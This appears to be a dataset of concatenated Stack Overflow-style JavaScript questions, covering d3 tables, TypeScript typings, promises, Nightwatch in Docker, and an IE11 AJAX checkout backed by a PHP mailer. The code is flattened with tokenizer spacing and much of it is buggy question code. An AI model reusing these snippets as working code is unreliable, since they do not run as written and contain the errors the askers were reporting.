solution ? function tables ( dataset ) { var recordCol = Object.keys ( dataset [ 0 ] ) [ 0 ] ; var stateName = Object.keys ( dataset [ 0 ] ) [ 3 ] ; var dateCol = Object.keys ( dataset [ 0 ] .values [ 0 ] ) [ 0 ] ; var valCol = Object.keys ( dataset [ 0 ] .values [ 0 ] ) [ 1 ] ; var monthDateFormat = d3.time.format ( `` % B '' ) ; var yearDateFormat = d3.time.format ( `` % Y '' ) ; var properDateFormat = d3.time.format ( `` % B % Y '' ) ; var tableData = dataset.map ( function ( d ) { d [ recordCol ] = d [ recordCol ] .toString ( ) .slice ( 0 , 15 ) ; d [ stateName ] = d [ stateName ] .toString ( ) .slice ( 0 , 20 ) ; d [ dateCol ] = d [ dateCol ] ; //.toString ( ) .slice ( 0 , 20 ) ; d [ valCol ] = d [ valCol ] ; ///.toString ( ) .slice ( 0 , 20 ) ; return d ; } ) $ ( `` .data-table '' ) .empty ( ) ; if ( dataTable ) { dataTable.destroy ( ) ; } dataTable = $ ( `` .data-table '' ) .DataTable ( { data : tableData , columns : [ { `` data '' : recordCol } , { `` data '' : stateName } , { `` data '' : dateCol } , { `` data '' : valCol } ] } ) ; d3.selectAll ( `` thead th '' ) .each ( function ( d , i ) { if ( i === 0 ) { this.textContent = recordCol ; } else if ( i === 1 ) { this.textContent = stateName ; } else if ( i === 2 ) { this.textContent = dateCol ; } else if ( i === 3 ) { this.textContent = valCol ; } } ) ; } dataTable = $ ( `` .data-table '' ) .DataTable ( { data : tableData , columns : [ { `` data '' : recordCol } , { `` data '' : stateName } , { `` data '' : `` values [ , ] .x '' } , { `` data '' : `` values [ , ] .y '' } ] } ) ; var tableData = dataset.map ( function ( d ) { d [ recordCol ] = d [ recordCol ] .toString ( ) .slice ( 0 , 15 ) ; d [ stateName ] = d [ stateName ] .toString ( ) .slice ( 0 , 20 ) ; for ( var i = 0 ; i < dataset.length ; i++ ) { d [ dateCol ] = dataset [ 0 ] .values [ i ] .x ; d [ valCol ] = dataset [ 0 ] .values [ i ] .y ; } dataTable = $ ( `` .data-table '' ) .DataTable ( { data : tableData , columns : [ { `` data '' : recordCol } , { `` data '' : stateName } , { `` data '' : dateCol } , { `` data '' : valCol } ] } ) ;",d3 chart + jQuery DataTables : trouble reading nested array "JS : I have a simple JSON with an array that contains further objects , etc . like this : But what I really want is an object like this : So , I want to reduce the array to simple key-value-pairs that are inside an array or even an object ( keys are unique ) . Does anyone have an idea how to reduce this with some of these cool array functions ? I only came up with something like an for each and building the object `` by hand '' property for property , but I remember there were some cool things for array like 'reduce ' , the spread operator ( ... ) , map , every , some , etc.I tried it with something like : But that only got me an error message TypeError : Invalid attempt to destructure non-iterable instance Edit : All three answers are working perfectly fine . Thanks . languagePack : [ { 'key ' : 'Username ' , 'value ' : 'Benutzername ' , 'group ' : 'default ' } , { 'key ' : 'Password ' , 'value ' : 'Passwort ' , 'group ' : 'default ' } ] languagePack : { 'Username ' : 'Benutzername ' , 'Password ' : 'Passwort ' } var temp = this.languagePack.map ( ( [ key , value ] ) = > ( { key , value } ) ) console.log ( temp )",Change array in javascript into simpler object "JS : In JavaScript , fields of an object are always `` public '' : but you can simulate a `` private '' field by using a local variable , and using a closure as the getter : One difference is that with the `` public '' approach , each instance 's getter is the same function object : whereas with the `` private '' approach , each instance 's getter is a distinct function object : I 'm curious about the memory usage of this approach . Since each instance has a separate getPrivateX , will this cause a huge memory overhead if I create , say , 10k instances ? A performance test on creating instances of classes with private and public members : Jsperf function Test ( ) { this.x_ = 15 ; } Test.prototype = { getPublicX : function ( ) { return this.x_ ; } } ; new Test ( ) .getPublicX ( ) ; // using the getternew Test ( ) .x_ ; // bypassing the getter function Test ( ) { var x = 15 ; this.getPrivateX = function ( ) { return x ; } ; } new Test ( ) .getPrivateX ( ) ; // using the getter// ... no way to access x directly : it 's a local variable out of scope console.assert ( t1.getPublicX === t2.getPublicX ) ; console.assert ( t1.getPrivateX ! = t2.getPrivateX ) ;",Will javascript private members in classes cause a huge memory overhead ? "JS : I 'm trying to use a simple JS library in Typescript/React , but am unable to create a definition file for it . The library is google-kgsearch ( https : //www.npmjs.com/package/google-kgsearch ) . It exports a single function in the CommonJS style . I can successfully import and call the function , but ca n't figure out how to reference the type of the arguments to the result callback.Here is most of the library code : And here is my attempt to model it . Most of the interfaces model the results returned by service : My issue is that from another file I am unable to reference the KGS.EntitySearchResult array returned by the search callback . Here is my use of the library : Any suggestions for how to make the result interfaces visible to my calling code without messing up the default export is very greatly appreciated . function KGSearch ( api_key ) { this.search = ( opts , callback ) = > { ... . request ( { url : api_url , json : true } , ( err , res , data ) = > { if ( err ) callback ( err ) callback ( null , data.itemListElement ) } ) ... . return this } } module.exports = ( api_key ) = > { if ( ! api_key || typeof api_key ! == 'string ' ) { throw Error ( ` [ kgsearch ] missing 'api_key ' { string } argument ` ) } return new KGSearch ( api_key ) } declare module 'google-kgsearch ' { function KGSearch ( api : string ) : KGS.KGS ; export = KGSearch ; namespace KGS { export interface SearchOptions { query : string , types ? : Array < string > , languages ? : Array < string > , limit ? : number , maxDescChars ? : number } export interface EntitySearchResult { `` @ type '' : string , result : Result , resultScore : number } export interface Result { `` @ id '' : string , name : string , `` @ type '' : Array < string > , image : Image , detailedDescription : DetailedDescription , url : string } export interface Image { contentUrl : string , url : string } export interface DetailedDescription { articleBody : string , url : string , license : string } export interface KGS { search : ( opts : SearchOptions , callback : ( err : string , items : Array < EntitySearchResult > ) = > void ) = > KGS.KGS ; } } } import KGSearch = require ( 'google-kgsearch ' ) ; const kGraph = KGSearch ( API_KEY ) ; interface State { value : string ; results : Array < KGS.EntitySearchResult > ; // < -- Does not work ! ! } class GKGQuery extends React.Component < Props , object > { state : State ; handleSubmit ( event : React.FormEvent < HTMLFormElement > ) { kGraph.search ( { query : this.state.value } , ( err , items ) = > { this.setState ( { results : items } ) ; } ) ; event.preventDefault ( ) ; } ... . }",Export additional interfaces for CommonJS module ( Typescript ) "JS : I am trying this : But it gives me 24 instead of 6 , what am I doing wrong ? function add_things ( ) { var first = ' 2 ' ; var second = ' 4 ' ; alert ( first + second ) ; }",why do I get 24 when adding 2 + 4 in javascript "JS : I use the following code which works sometimes but its unstable , when I run the program sometimes I got error 420 with json parse error which doesnt give you lot of hints how to solve it . any idea what am I doing wrong ? The error is : Error getting tweets : Error : Status Code : 420 Error getting tweets : SyntaxError : Unexpected token E in JSON at position 0Maybe if there is a way that when the error is occurred ignore it and proceed since now the process is stopped.Update : In twitter docs there is info about HTTP 420 but not sure how to fix it ... var Twitter=require ( 'twitter ' ) ; var lclconf = require ( '../config.json ' ) ; var client=new Twitter ( { consumer_key : lclconf.twitter.consumer_key , consumer_secret : lclconf.twitter.consumer_secret , access_token_key : lclconf.twitter.access_token_key , access_token_secret : lclconf.twitter.access_token_secret } ) ; stream.on ( `` data '' , function ( data ) { console.log ( data.id_str ) ; var tweet_id= '' https : //api.twitter.com/1.1/statuses/oembed.json ? id= '' +data.id_str ; request.get ( tweet_id ) .end ( function ( err , res ) { if ( err ) { console.log ( `` Error from Twitter API : `` + err ) ; } else { //console.log ( res.body ) ; io.emit ( 'tweet ' , res.body ) ; } } ) ; } ) ; stream.on ( 'error ' , function ( err ) { console.log ( `` Error getting tweets : `` +err ) ; } ) ; io.on ( 'connection ' , function ( client ) { client.on ( `` join '' , function ( data ) { console.log ( data ) ; } ) ; client.emit ( `` join '' , { `` message '' : '' running '' } ) ; } ) ;",Using twitter API get error sometimes "JS : So far , there seem to be two opposing solutions to immutability in Javascript : immutable.jsseamless-immutableimmutable.js introduces their own ( shallowly ) immutable objects that are incompatible with the default javascript protocols for objects and arrays.seamless-immutable uses POJOs that are completely immutable without any magic , but do without structural sharing.It would be great to combine the best of both worlds . Could immutable prototype chains/trees be a proper solution ? The underlying prototype mechanism gives hope : Whenever a mutation ( unshift ) of the current instance ( b ) makes it impossible for its prototypes to provide their values , the js engine seems to copy these values straight into the instance automatically . I did n't know that , but it makes total sense.However , working with immutable ( keyed/indexed ) objects one quickly encounters problems : This one is simple : The length property is inherited from the immutable prototype and hence not mutable . Fixing the problem is n't hard : But there will probably be other issues , in particular in more complex , real world scenarios.Maybe someone have already dealt with this idea and can tell me , if it 's worth reasoning about it.Aadit 's answer to a related question and Bergi 's comment on it touches my question without giving an answer . var a = [ 1 , 2 , 3 ] ; var b = Object.create ( a ) ; b [ 0 ] ; // 1b.map ( function ( x ) { return ++x ; } ) ; // 2 , 3 , 4 b.push ( 4 , 5 , 6 ) ; // initial assignment of ba ; // 1 , 2 , 3b ; // 1 , 2 , 3 , 4 , 5 , 6for ( var i = 0 ; i < b.length ; i++ ) { console.log ( b [ i ] ) ; } // 1 , 2 , 3 , 4 , 5 , 6a [ 1 ] = null ; // prototype mutationa ; // 1 , null , 3b ; // 1 , null , 3 , 4 , 5 , 6b.unshift ( 0 ) ; // instance mutationa ; // 1 , null , 3b ; // 0 , 1 , null , 3 , 4 , 5 , 6 ! ! ! var a = [ 1 , 2 , 3 ] ; Object.freeze ( a ) ; var b = Object.create ( a ) ; b.push ( 4 , 5 , 6 ) ; // Error : Can not assign to read only property `` length '' Object.freeze ( b ) ; var b = Object.create ( a , { length : { value : a.length , writable : true } } ) ;",Does it make sense to create immutable objects that share structure by utilizing the javascript prototype system "JS : In JQuery 1.6.1 , we can supposedly use += or -= with css ( ) just as we can do with animate ( ) , but this is n't working . Does anyone see a problem with the code ? Check http : //jsfiddle.net/QLFEy/3 $ ( document ) .keydown ( function ( e ) { if ( e.which == 37 ) { //37 left arrow key . $ ( 'div ' ) .css ( 'left ' , '-=10px ' ) } } ) ;",Move div with arrow key in jQuery 1.6.1 does not work "JS : I have one question about jquery prop . I have created this DEMO from codepen.ioIn this demo you can see there are two edit button with id . When i click the first edit button then it is working fine . but The edit button working also second click i want to disable current clicked button . What i am missing here anyone can help me in this regard ? jshtml $ ( document ) .ready ( function ( ) { $ ( `` body '' ) .on ( `` click '' , `` .editBtn '' , function ( ) { var ID = $ ( this ) .attr ( `` id '' ) ; $ ( ' # ser ' + ID ) .prop ( 'disabled ' , 'true ' ) ; var currentMessage = $ ( `` # messageB '' + ID + `` .postInfo '' ) .html ( ) ; var editMarkUp = ' < textarea rows= '' 5 '' cols= '' 80 '' id= '' txtmessage_ ' + ID + ' '' > ' + currentMessage + ' < /textarea > < button name= '' ok '' > Save < /button > < button name= '' cancel '' > Cancel < /button > ' ; $ ( `` # messageB '' + ID + `` .postInfo '' ) .html ( editMarkUp ) ; } ) ; } ) ; < div class= '' container '' > < div class= '' postAr '' id= '' messageB1 '' > < div class= '' postInfo '' > fdasfads fasd fadsf adsf adsf adsf asd fasd f dfsa < /div > < button class= '' editBtn '' name= '' edit '' id= '' ser1 '' > Edit < /button > < /div > < /div > < div class= '' container '' > < div class= '' postAr '' id= '' messageB2 '' > < div class= '' postInfo '' > fdasfads fasd fadsf adsf adsf adsf asd fasd f dfsass < /div > < button class= '' editBtn '' name= '' edit '' id= '' ser2 '' > Edit < /button > < /div > < /div >",jquery prop does n't disabled after clicked button "JS : I 'm using Ionic v1 and testing in Chrome ( ionic serve ) and View App ( ionic upload ) .I included this script in my index.htmlAnd added the https : //github.com/thisissoon/angular-addthis directive.When viewing my ionic app in Chrome or firefox everything looks great . When i push to Ionic view my addthis buttons are missing . In Chrome Dev Tools , things look great with any responsive view or device.Any direction would be helpful here . How would i see error messages in Ionic view ? Why is the addthis.com js widget not working on mobile device ? TIA.EDIT : I added the https and that got things a step further . ( thanks to adamdport ) Now seeing Failed to load file : //m.addthisedge.com/live/boost/foo/_ate.track.config_resp resource : NET ERR_FILE_NOT_FOUNDand Uncaught TypeError : Can not read property 'split ' of null at r ( https : //s7.addthis.com/js/300/addthis_widget.js:2:44431 ) at e.exports ( https : //s7.addthis.com/js/300/addthis_widget.js:2:211271 ) at https : //s7.addthis.com/js/300/addthis_widget.js:2:224158 at https : //s7.addthis.com/js/300/addthis_widget.js:2:361724 at o ( https : //s7.addthis.com/js/300/addthis_widget.js:2:223353 ) at https : //s7.addthis.com/js/300/addthis_widget.js:2:215504 at HTMLDocument.onReady ( https : //s7.addthis.com/js/300/addthis_widget.js:2:214257 ) on addthis_widget.js line 2FINAL EDIT and solution : The best way i learned to solve this problem was to hook up my Nexus 6p via usb , enable usb debugging , and https : //developers.google.com/web/tools/chrome-devtools/remote-debugging/ < script src= '' https : //s7.addthis.com/js/300/addthis_widget.js # pubid=foo & async=1 '' > < /script > < sn-addthis-toolbox class= '' addthis_custom_sharing '' data-share= '' { title : thing.title , url : 'https : //myurl/ ' + thing.id , description : 'Check out my thing . ' } '' > < a href class= '' addthis_button_email '' > < /a > < a href class= '' addthis_button_facebook '' > < /a > < a href class= '' addthis_button_twitter '' > < /a > < a href class= '' addthis_button_google_plusone_share '' > < /a > < /sn-addthis-toolbox >",My addthis toolbox JavaScript widget not present on mobile device "JS : Try this piece of code on console tab of Chrome or FirefoxThe result will beI 've tried many other examples but it seems that the first then ( ) returns a promise that always resolves and never rejects . I 've tried this on Chrome 46.0.2490.86 and Firefox 42.0 . Why does this happen ? I thought that then ( ) and catch ( ) can be chain multiple times ? var p = new Promise ( function ( resolve , reject ) { setTimeout ( function ( ) { reject ( 10 ) ; } , 1000 ) } ) p.then ( function ( res ) { console.log ( 1 , 'succ ' , res ) } ) .catch ( function ( res ) { console.log ( 1 , 'err ' , res ) } ) .then ( function ( res ) { console.log ( 2 , 'succ ' , res ) } ) .catch ( function ( res ) { console.log ( 2 , 'err ' , res ) } ) 1 `` err '' 102 `` res '' undefined",How does the 'catch ' work in a native Promise chain ? "JS : I have this piece of code : Why i see 0 in console and not 65 ? ? Also both e.keyCode and e.which are 0 and not 65 , i am on Chrome latest versionthank you a lot . window.addEventListener ( 'keydown ' , function ( e ) { console.log ( e.which ) ; console.log ( e.keyCode ) ; } ) ; var evObj = new KeyboardEvent ( 'keydown ' , { key:65 } ) ; window.dispatchEvent ( evObj ) ;",Javascript - trigger specific keyboard keys "JS : I 'm trying to run tests in parallel written using nightwatchjs in Docker using Selenium Hub . I 'm able to get the tests to run in parallel in Docker without Selenium Hub , however , some child processes will timeout causing multiple retries . The results are very inconsistent . I 'm hoping to use Selenium Hub or something similar to remove the timeouts and retries so the test results are more consistent , stable , and do not timeout.However , now when I run docker-compose run -- rm nightwatch , using the following code , the selenium server will start in parallel mode and multiple child processes will be started , however , only the first one will execute . Then the other child processes will get Error retrieving a new session from the selenium server . Connection refused ! Is selenium server started ? Am I missing something to get the nightwatchjs tests to run in parallel without timing out ? nightwatch.conf.jsdocker-compose.ymlDockerfile module.exports = { src_folders : [ 'tests ' ] , output_folder : 'reports ' , custom_commands_path : `` , custom_assertions_path : `` , page_objects_path : 'page_objects ' , test_workers : true , live_output : true , detailed_output : true , selenium : { start_process : true , server_path : './bin/selenium-server-standalone-3.0.1.jar ' , log_path : `` , host : '127.0.0.1 ' , port : 4444 , cli_args : { 'webdriver.chrome.driver ' : './node_modules/chromedriver/bin/chromedriver ' } } , test_settings : { default : { launch_url : 'https : //example.com ' , selenium_port : 4444 , selenium_host : 'hub ' , silent : true , screenshots : { 'enabled ' : false , 'path ' : `` } , desiredCapabilities : { browserName : 'chrome ' , javascriptEnabled : true , acceptSslCerts : true , chromeOptions : { args : [ ' -- window-size=1024,768 ' , ' -- no-sandbox ' ] } } , globals : { waitForConditionTimeout : 20000 , asyncHookTimeout : 70000 } } } ; version : ' 2'services : nightwatch : build : context : . command : /bin/sh -c `` node ./node_modules/nightwatch/bin/nightwatch '' links : - chrome - hub volumes : - . : /opt/nightwatch chrome : environment : VIRTUAL_HOST : node.chrome.docker HUB_PORT_4444_TCP_ADDR : hub HUB_PORT_4444_TCP_PORT : 4444 image : selenium/node-chrome:3.1.0-astatine links : - hub hub : ports : - 4444:4444 image : selenium/hub:3.1.0-astatine FROM java:8-jre # # Node.js setupRUN curl -sL https : //deb.nodesource.com/setup_6.x | bash -RUN apt-get install -y nodejsRUN npm config set spin falseWORKDIR /appCOPY . ./RUN npm install",nightwatchjs parallel mode selenium hub docker compose JS : If I have this : Is it possible to know if the Human 's constructor was called via the Person class ? I thought about arguments.callee but that is deprecated . class Human { constructor ( ) { } } class Person extends Human { constructor ( ) { super ( ) ; } },How to know if class constructor was called via super ? "JS : Before asking my question , let me give a disclaimer . I know what var does , I know about block scope , and I know about variable hoisting . I 'm not looking for answers on those topics . I 'm simply wondering if there is a functional , memory , or performance cost to using a variable declaration on the same variable more than once within a function.Here is an example : The previous could just have easily been written with the j variabled declared at the top : I 'm wondering if there is any actual difference between these two methods . In other words , does the var keyword do anything other than establish scope ? Reasons I 've heard to prefer the second method : The first method gives the appearance of block scope when it'sactually function scoped . Variable declarations are hoisted tothe top of the scope , so that 's where they should be defined.I consider these reasons to be good but primarily stylistic . Are there other reasons that have more to do with functionality , memory allocation , performance , etc . ? function foo ( ) { var i = 0 ; while ( i++ < 10 ) { var j = i * i ; } } function foo ( ) { var i = 0 , j ; while ( i++ < 10 ) { j = i * i ; } }",Are there downsides to using var more than once on the same variable in JavaScript "JS : Background : We have a project with client side ( Javascript ) and server side ( C # ) . There is a calculation logic need to run in both sides , so it is written in both Javascript and C # . We have many unit tests for the C # version classes . Our goal is to share the unit tests for both C # and Javascript implementation.Current situation : We are able to run the Javascript code in an embeded JS engine ( Microsoft ClearScript ) . The code looks like this : However , writing such classes takes a lot of effort . We are looking for a way to create such classes dynamically at runtime.For exmample , we have a C # class ( also has it JS version in a JS fle ) : We want to create a dynamic class having the same methods but calling the Script engine to call the related JS code.Is it possible to do it ? public decimal Calulate ( decimal x , decimal y ) { string script = @ '' var calc = new Com.Example.FormCalculater ( ) ; var result = calc.Calculate ( { 0 } , { 1 } ) ; '' ; this.ScriptEngine.Evaluate ( string.Format ( script , x , y ) ) ; var result = this.ScriptEngine.Evaluate ( `` result '' ) ; return Convert.ToDecimal ( result ) ; } public class Calculator { public decimal Add ( decimal x , decimal y ) { ... } public decimal Substract ( decimal x , decimal y ) { ... } public decimal Multiply ( decimal x , decimal y ) { ... } public decimal Divide ( decimal x , decimal y ) { ... } }",How to create a C # class ( according to an existing class ) dynamically at runtime "JS : I 'm trying to pass data via post with ajax to my sendjs.php . jsonObj is not being passed in IE11 only ( havent tested lower versions of IE but it works in Edge and all other browsers ) . FormData and captchaResponse are being passed though.In 'Network ' in IE 11 inspector the post data is : cart : [ null ] and there are no errors displayed in console.All other browsers it contains the data : eg . cart : { name : `` 130 Litre Polypropylene Soakwells '' , price : `` $ 39.95 '' , quantity : `` 4 '' , total : `` $ 159.80 '' } , … ] Live site here : www.diysoakwells.com.au ( you can add an item and checkout to test ) .Have spent ages trying to find the cause and now I 'm not even sure where to go from here to be honest , so any information would be appreciated and I will update the post with any info as requested . app.jssendjs.phpHope someone can give me some tips.Edit : Added cart modal htmlSimple Cart configCodepen link to simplecart.jsCopy of simplecart.js $ ( function ( ) { // Get the form . var form = $ ( `` # ajax-contact '' ) ; // Get the messages div . var formMessages = $ ( `` # form-messages '' ) ; var spinner = $ ( `` # spinner '' ) ; var submit = $ ( `` # submit '' ) ; // Set up an event listener for the contact form . $ ( form ) .submit ( function ( e ) { // Stop the browser from submitting the form . e.preventDefault ( ) ; //display the cog animation $ ( spinner ) .removeClass ( `` hidden '' ) ; //hide the submit button $ ( submit ) .addClass ( `` hidden '' ) ; var jsonObj= [ ] ; for ( i=1 ; i < $ ( `` .item-price '' ) .length ; i++ ) { var items= { } ; var itemname = $ ( `` .item-name '' ) .get ( i ) ; var itemprice = $ ( `` .item-price '' ) .get ( i ) ; var itemquantity = $ ( `` .item-quantity '' ) .get ( i ) ; var itemtotal = $ ( `` .item-total '' ) .get ( i ) ; items [ `` name '' ] = itemname.innerHTML ; items [ `` price '' ] = itemprice.innerHTML ; items [ `` quantity '' ] = itemquantity.innerHTML ; items [ `` total '' ] = itemtotal.innerHTML ; jsonObj.push ( items ) ; } console.log ( jsonObj ) ; var formdata = { } ; formdata [ `` textbox '' ] = $ ( `` # textbox '' ) .val ( ) ; formdata [ `` name '' ] = $ ( `` # name '' ) .val ( ) ; formdata [ `` phone '' ] = $ ( `` # phone '' ) .val ( ) ; formdata [ `` email '' ] = $ ( `` # email '' ) .val ( ) ; formdata [ `` address '' ] = $ ( `` # address '' ) .val ( ) ; formdata [ `` grandtotal '' ] = simpleCart.grandTotal ( ) ; var x = { `` cart '' : jsonObj , `` formdata '' : formdata , `` captchaResponse '' : $ ( `` # g-recaptcha-response '' ) .val ( ) } ; //jsonString = jsonObj+formdata ; var y = JSON.stringify ( x ) ; console.log ( y ) ; var result = jQuery.parseJSON ( y ) ; console.log ( result ) ; // Serialize the form data . //var formData = $ ( form ) .serialize ( ) ; // Submit the form using AJAX . $ .ajax ( { type : `` post '' , url : `` sendjs.php '' , //url : $ ( form ) .attr ( `` action '' ) , data : y , contentType : `` application/json ; charset=utf-8 '' , processData : false , success : function ( response ) { if ( response== '' Thank You . Your order has been sent and a copy mailed to your inbox . '' ) { //remove the button animation $ ( spinner ) .addClass ( `` hidden '' ) ; $ ( formMessages ) .removeClass ( `` error '' ) ; $ ( formMessages ) .addClass ( `` success '' ) ; $ ( `` # textbox '' ) .val ( `` '' ) ; $ ( `` # name '' ) .val ( `` '' ) ; $ ( `` # email '' ) .val ( `` '' ) ; $ ( `` # message '' ) .val ( `` '' ) ; $ ( `` # phone '' ) .val ( `` '' ) ; $ ( `` # address '' ) .val ( `` '' ) ; } else { $ ( formMessages ) .removeClass ( `` success '' ) ; $ ( formMessages ) .addClass ( `` error '' ) ; $ ( spinner ) .addClass ( `` hidden '' ) ; $ ( submit ) .removeClass ( `` hidden '' ) ; } $ ( formMessages ) .text ( response ) ; } } ) ; } ) ; } ) ; < ? php//Debugging//ini_set ( 'display_errors ' , 1 ) ; //error_reporting ( E_ALL ) ; //replaces file_get_contents due to restrictions on serverfunction get_data ( $ url ) { $ ch = curl_init ( ) ; $ timeout = 5 ; curl_setopt ( $ ch , CURLOPT_URL , $ url ) ; curl_setopt ( $ ch , CURLOPT_RETURNTRANSFER,1 ) ; curl_setopt ( $ ch , CURLOPT_CONNECTTIMEOUT , $ timeout ) ; $ data = curl_exec ( $ ch ) ; curl_close ( $ ch ) ; return $ data ; } //turn url_fopen on due to restrictions on server //ini_set ( 'allow_url_fopen ' , true ) ; date_default_timezone_set ( 'Australia/Perth ' ) ; $ time = date ( `` h : i A '' ) ; $ date = date ( `` l , F jS , Y '' ) ; $ json = file_get_contents ( 'php : //input ' ) ; $ obj = json_decode ( $ json , true ) ; $ captcha = $ obj [ `` captchaResponse '' ] ; $ captcha ; $ secretKey = `` scrubbed '' ; $ ip = $ _SERVER [ 'REMOTE_ADDR ' ] ; $ response = get_data ( `` https : //www.google.com/recaptcha/api/siteverify ? secret= '' . $ secretKey. '' & response= '' . $ captcha . `` & remoteip= '' . $ ip ) ; //not used due to server restictions // $ response=file_get_contents ( `` https : //www.google.com/recaptcha/api/siteverify ? secret= '' . $ secretKey. '' & response= '' . $ captcha . `` & remoteip= '' . $ ip ) ; $ responseKeys = json_decode ( $ response , true ) ; if ( intval ( $ responseKeys [ `` success '' ] ) ! == 1 ) { echo `` Please Click on the Captcha '' ; return false ; } else { //echo $ items ; $ name = $ obj [ `` formdata '' ] [ `` name '' ] ; $ phone = $ obj [ `` formdata '' ] [ `` phone '' ] ; $ email = $ obj [ `` formdata '' ] [ `` email '' ] ; $ textbox = $ obj [ `` formdata '' ] [ `` textbox '' ] ; $ address = $ obj [ `` formdata '' ] [ `` address '' ] ; $ grandtotal = $ obj [ `` formdata '' ] [ `` grandtotal '' ] ; $ text = `` < html style='font-family : arial ' > < body > < h1 style='color : crimson ; ' > DIY Soakwells < /h1 > < p > This order was submitted from www.diysoakwells.com.au on $ date at $ time < /p > < p > $ name thank you for your order inquiry . Deliveries are normally every Friday , we will be in contact shortly to discuss your order and confirm a time. < /p > < p > An invoice will be issued after delivery for payment via bank transfer. < /p > < p > In the meantime if you have n't already seen it , you can take a look at www.soakwellcalculator.com.au to confirm the number of soakwells you ordered will be adequate. < /p > < br > < h2 style='color : crimson ; ' > CUSTOMER DETAILS < /h2 > < p > < b > Email : < /b > \n $ email < /p > < p > < b > Name : < /b > \n $ name < /p > < p > < b > Phone : < /b > \n $ phone < /p > < p > < b > Delivery Address : < /b > \n $ address < /p > < p > < b > Message : < /b > \n $ textbox < /p > < br > < h2 style='color : crimson ; ' > ORDER DETAILS < /h2 > '' ; $ items_in_cart = count ( $ obj [ `` cart '' ] ) ; for ( $ i=0 ; $ i < $ items_in_cart ; $ i++ ) { $ iname = $ obj [ `` cart '' ] [ $ i ] [ `` name '' ] ; $ price = $ obj [ `` cart '' ] [ $ i ] [ `` price '' ] ; $ quantity = $ obj [ `` cart '' ] [ $ i ] [ `` quantity '' ] ; $ total = $ obj [ `` cart '' ] [ $ i ] [ `` total '' ] ; //display looped cart data $ items .= `` < p > $ iname x $ quantity - $ price < small > ea. < /small > < b > Sub Total : < /b > $ total . < /p > '' ; } $ final_total = '' < br > < p > < b > Total : < /b > $ $ grandtotal < small > inc . GST < /small > < /p > < /body > < /html > '' ; //Email Content $ body = $ text. $ items. $ final_total ; // Set the email subject . $ subject = `` New order from $ name '' ; // Build the email content . $ email_content = $ body ; // Build the email headers . $ email_headers = 'MIME-Version : 1.0 ' . PHP_EOL ; $ email_headers .= 'Content-Type : text/html ; charset=ISO-8859-1 ' . PHP_EOL ; // $ email_headers .= 'To : ' . $ name . ' < ' . $ email . ' > ' . PHP_EOL ; $ email_headers .= 'From : DIY Soakwells < orders @ diysoakwells.com > ' . PHP_EOL ; $ email_headers .= 'CC : orders @ diysoakwells.com.au ' . PHP_EOL ; $ email_headers .= 'Reply-To : DIY Soakwells < orders @ diysoakwells.com.au > ' . PHP_EOL ; $ email_headers .= 'Return-Path : DIY Soakwells < orders @ diysoakwells.com > ' . PHP_EOL ; $ email_headers .= ' X-Sender : DIY Soakwells < orders @ diysoakwells.com.au ' . PHP_EOL ; $ email_headers .= ' X-Mailer : PHP/ ' . phpversion ( ) . PHP_EOL ; // $ email_headers .= ' X-Priority : 1 ' . PHP_EOL ; //validate Email $ email_check = filter_input ( INPUT_POST , $ email , FILTER_VALIDATE_EMAIL ) ; //Recipients $ to = $ email ; if ( mail ( $ to , $ subject , $ email_content , $ email_headers , '-forders @ diysoakwells.com.au ' ) ) { // Set a 200 ( okay ) response code . //http_response_code ( 200 ) ; echo `` Thank You . Your order has been sent and a copy mailed to your inbox . `` ; } else { // Set a 500 ( internal server error ) response code . //http_response_code ( 500 ) ; echo `` There appears to be an issue with our server , please ring 0420 903 950 or email contact @ diysoakwells.com.au . `` ; } } ? > < ! -- cart modal panel -- > < section class= '' modal fade cartModal '' role= '' dialog '' tabindex= '' -1 '' > < div class= '' modal-dialog '' role= '' document '' > < div class= '' modal-content '' > < ! -- Modal Header -- > < div class= '' modal-header '' > < button type= '' button '' class= '' close '' data-dismiss= '' modal '' aria-label= '' Close '' > < span aria-hidden= '' true '' > & times ; < /span > < /button > < h3 class= '' modal-title cart_summary '' > < b > Cart Summary < /b > < /h3 > < /div > < ! -- Cart Modal Body -- > < section class= '' modal-body '' > < div class= '' checkout '' > < ! -- Cart Items -- > < div class= '' simpleCart_items '' > < /div > < ! -- Cart Items Footer -- > < div class= '' panel-footer '' > < div class= '' row '' > < div class= '' col-xs-12 col-sm-4 cart_modal_btn '' > < a class= '' btn btn-default btn-sm '' onclick= '' simpleCart.empty ( ) ; '' > Clear Cart < /a > < /div > < div class= '' col-xs-12 col-sm-8 cart_footer_text '' > < span class= '' total '' > Current Total : & nbsp ; < b class= '' simpleCart_grandTotal '' > < /b > < small class=gst > Inc . GST < /small > < /span > < /div > < /div > < /div > < /div > < div > < h3 class= '' cart_summary '' > < b > Checkout < /b > < /h3 > < /div > < ! -- Customer Details Form -- > < section class= '' details_form '' > < b class= '' invoice_info '' > Due to the custom nature of this service we do not take payment until your order is confirmed and the materials are delivered. < /b > < b class= '' invoice_info '' > You will be emailed an invoice with our account details . Payment terms are 5 days from the invoice date please. < /b > < p class= '' invoice_info '' > For payment we accept bank transfer and VISA / Master Card < small > ( 2.3 % surcharge for credit cards ) . < /small > < /p > < form id= '' ajax-contact '' class= '' contact_form '' method= '' post '' > < fieldset > < h4 class= '' contact_form_title '' > Questions / Additional Information < /h4 > < div class= '' textbox_container '' > < textarea rows= '' 5 '' style= '' overflow-y : hidden '' class= '' textbox '' name= '' textbox '' id= '' textbox '' > < /textarea > < /div > < h4 class= '' contact_form_title '' > Customer Details < /h4 > < table > < tr > < th > < label for= '' name '' class= '' cart_label '' > Enter Name < /label > < /th > < td > < input type= '' text '' name= '' name '' placeholder= '' Name Required '' class= '' input '' id= '' name '' required / > < /td > < /tr > < tr > < th > < label for= '' phone '' class= '' cart_label '' > Enter Phone Number < /label > < /th > < td > < input type= '' tel '' placeholder= '' Phone Number Required '' name= '' phone '' class= '' input '' id= '' phone '' required/ > < /td > < /tr > < tr > < th > < label for= '' emaile '' class= '' cart_label '' > Enter Email < /label > < /th > < td > < input type= '' email '' placeholder= '' Email Required '' name= '' emaile '' class= '' input '' id= '' emaile '' required/ > < /td > < /tr > < tr > < th > < label for= '' address '' class= '' cart_label '' > Enter Address < /label > < /th > < td > < input type= '' text '' name= '' address '' placeholder= '' Address / Suburb '' class= '' input '' id= '' address '' required/ > < /td > < /tr > < /table > < /fieldset > < ! -- captcha -- > < div class= '' captcha_container '' > < div class= '' g-recaptcha '' data-sitekey= '' 6LfPjyMTAAAAANe_qucSV5ZFAuDNO4Ud524-NGoa '' data-size= '' compact '' > < /div > < /div > < section class= '' fb_container '' > < div class= '' fb-like '' data-href= '' http : //www.facebook.com/DiySoakwells '' 